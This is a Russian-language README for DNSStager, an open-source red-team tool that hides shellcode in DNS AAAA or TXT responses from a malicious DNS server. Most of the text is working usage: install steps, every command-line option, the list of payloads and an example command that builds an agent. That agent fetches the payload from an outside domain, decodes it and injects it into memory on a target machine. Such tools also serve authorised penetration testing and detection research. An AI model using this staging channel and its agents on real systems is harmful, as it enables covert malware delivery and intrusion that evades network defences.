
Спрячьте свою полезную нагрузку в DNS
DNSStager — это проект с открытым исходным кодом на Python, предназначенный для сокрытия и передачи полезной нагрузки (payload) через DNS.
DNSStager создаёт вредоносный DNS-сервер, который обрабатывает DNS-запросы к вашему домену и возвращает полезную нагрузку в ответ на запросы определённых типов записей, таких как AAAA или TXT, предварительно разделив её на части и закодировав с помощью различных алгоритмов.
DNSStager может сгенерировать пользовательский агент, написанный на C или GoLang, который будет разрешать последовательность доменов, извлекать полезную нагрузку, декодировать её и, наконец, внедрять в память с помощью любой выбранной вами техники.
Вы можете редактировать код агента DNSStager по своему усмотрению и собирать его, используя собственные методы выполнения.
Основная цель использования DNSStager — помочь специалистам по тестированию на проникновение (Red Teamers / pentesters) доставлять полезные нагрузки по скрытому каналу через DNS.
В зависимости от выбранного вами типа DNS-ответа DNSStager разделит полезную нагрузку на части и сохранит каждую часть в ответе на поддомен.
Например, если вы выберете IPV6 в качестве способа получения полезной нагрузки, DNS-ответ будет выглядеть примерно так:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Где 5648:31d2:6548:8b52:6048:8b52:1848:8b52 — часть вашей полезной нагрузки.
Таким образом, агент будет разрешать некоторые домены, чтобы получить полезную нагрузку, затем декодировать её и в итоге внедрить в память.
В настоящее время DNSStager поддерживает только два типа записей: AAAA и TXT. Вы можете закодировать полезную нагрузку с помощью XOR для записи AAAA, а по умолчанию для записи TXT она будет закодирована в base64.
DNSStager обладает следующими ключевыми возможностями:
IPV6.TXT.C с возможностью его настройки.GoLang с возможностью его настройки.Вы можете установить зависимости Python для DNSStager с помощью:
pip3 install -r requirements.txt
Вам необходимо установить GoLang версии 1.16.3 и убедиться, что установлены следующие пакеты GoLang:
Также убедитесь, что установлен ming-w64 с помощью:
apt install mingw-w64
Скрипт setup.sh должен сделать это за вас, но перед использованием проверьте требования!
Чтобы получить последнюю версию DNSStager, клонируйте её из этого репозитория следующей командой:
git clone https://github.com/mhaskar/DNSStager
Затем установите зависимости с помощью команды:
pip3 install -r requirements.txt
Также убедитесь, что установлены все вышеупомянутые требования.
После этого вы готовы запустить DNSStager от root для получения следующего:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
Чтобы начать использовать DNSStager, сначала настройте свой DNS. Вам нужно указать ваш домен на экземпляр DNSStager как NS запись, чтобы он обрабатывал все DNS-запросы к вашему домену.
Вы можете прочитать эту полную статью о настройке и использовании DNSStager.
Также вы можете посмотреть опции, используя ключ -h:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: этот параметр позволяет выбрать основной домен, который будет обрабатывать DNS-запросы.
--prefix: префикс, который будет использоваться в схеме поддоменов.
Например, если ваш основной домен — fakedns.live, вы можете указать префикс cdn, и сгенерированные домены будут иметь следующий шаблон:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveГде N — автоматически сгенерированное число, соответствующее количеству частей вашей полезной нагрузки.
--payload: полезная нагрузка DNSStager («агент»), которую вы хотите сгенерировать, в зависимости от техники, языка программирования и архитектуры.
--output: путь для сохранения исполняемой полезной нагрузки DNSStager («агента»).
--shellcode_path: путь к вашему сырому/bin шеллкоду.
--xorkey: ключ XOR для кодирования полезной нагрузки.
--sleep: пауза в N секунд между каждым DNS-запросом.
--tcp: запустить и использовать DNS-сервер по протоколу TCP.
Чтобы просмотреть доступные полезные нагрузки DNSStager, используйте ./dnsstager.py --payloads:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
В этом примере DNSStager будет разрешать вашу полезную нагрузку как IPV6 с использованием домена test.mydnsserver.live и префикса cloud-srv-, генерируя скомпилированный агент для x64 C, закодированный с ключом 0x10:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
Результат будет:

Чтобы проверить, всё ли работает, отправьте DNS-запрос к cloud-srv-0.test.mydnsserver.live:

Мы видим, что в ответ мы получили f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b — это первые 16 байт закодированной полезной нагрузки.
Затем вы можете запустить агент /tmp/a2.exe (как указано в параметре --output в командной строке) на целевой машине, и он загрузит все необходимые части, декодирует их и внедрит в память.
Этот проект лицензирован по лицензии GPL-3.0 — подробнее см. в файле LICENSE.